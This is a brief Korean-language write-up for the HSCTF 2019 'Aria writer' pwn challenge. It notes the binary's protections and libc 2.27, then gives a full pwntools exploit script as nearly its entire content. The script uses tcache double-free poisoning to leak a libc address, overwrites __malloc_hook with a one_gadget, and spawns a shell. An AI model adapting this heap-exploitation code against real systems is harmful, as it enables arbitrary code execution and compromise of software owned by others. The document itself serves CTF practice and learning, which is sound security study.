HSCTF 2019 - Aria writer

64bit에 Partial RELRO, Canary, NX가 활성화 되어있다.

주어진 libc가 2.27이므로 tcache문제라서 Ubuntu 18.04로 풀었다.

 

 

from pwn import *
 
p = process('./aria-writer')
 
def choice(idx):
    p.sendlineafter("pls > ", str(idx))
 
def alloc(size, content):
    choice(1)
    p.sendlineafter("pls > ", str(size))
    p.sendlineafter("tho > ", str(content));
 
def free():
    choice(2)
 
name = 0x00000000006020E0
 
one = [0x4f2c5, 0x4f322, 0x10a38c]
 
pay = ''
pay += 'a'*8
p.sendlineafter("name > ", pay)
 
alloc(0x80, 'a'*0x10)
free()
free()
 
alloc(0x80, p64(name+0x500))
alloc(0x80, 'a'*0x10)
alloc(0x80, p64(0)+p64(0x21)+p64(0)*3+p64(0x21))
 
alloc(0x90, 'b'*0x10)
free()
free()
 
alloc(0x90, p64(name-0x20))
alloc(0x90, 'b'*0x10)
alloc(0x90, p64(name)+p64(0)*2+p64(0x511))
 
free()
 
p.recvuntil('\n')
main_arena_96 = u64(p.recv(6).ljust(8,'\x00'))
malloc_hook = main_arena_96 - 96 - 0x10
libc_base = malloc_hook - 4111408
one_gadget = libc_base + one[1]
 
print "main_arena_96 : " + hex(main_arena_96)
print "malloc_hook : " + hex(malloc_hook)
print "libc_base : " + hex(libc_base)
print "one_gadget : " + hex(one_gadget)
 
alloc(0x60, 'c'*0x10)
free()
free()
 
alloc(0x60, p64(malloc_hook))
alloc(0x60, 'c'*0x10)
alloc(0x60, p64(one_gadget)*2)
 
choice(1)
p.sendlineafter("pls > ", str(0x1))
 
p.interactive()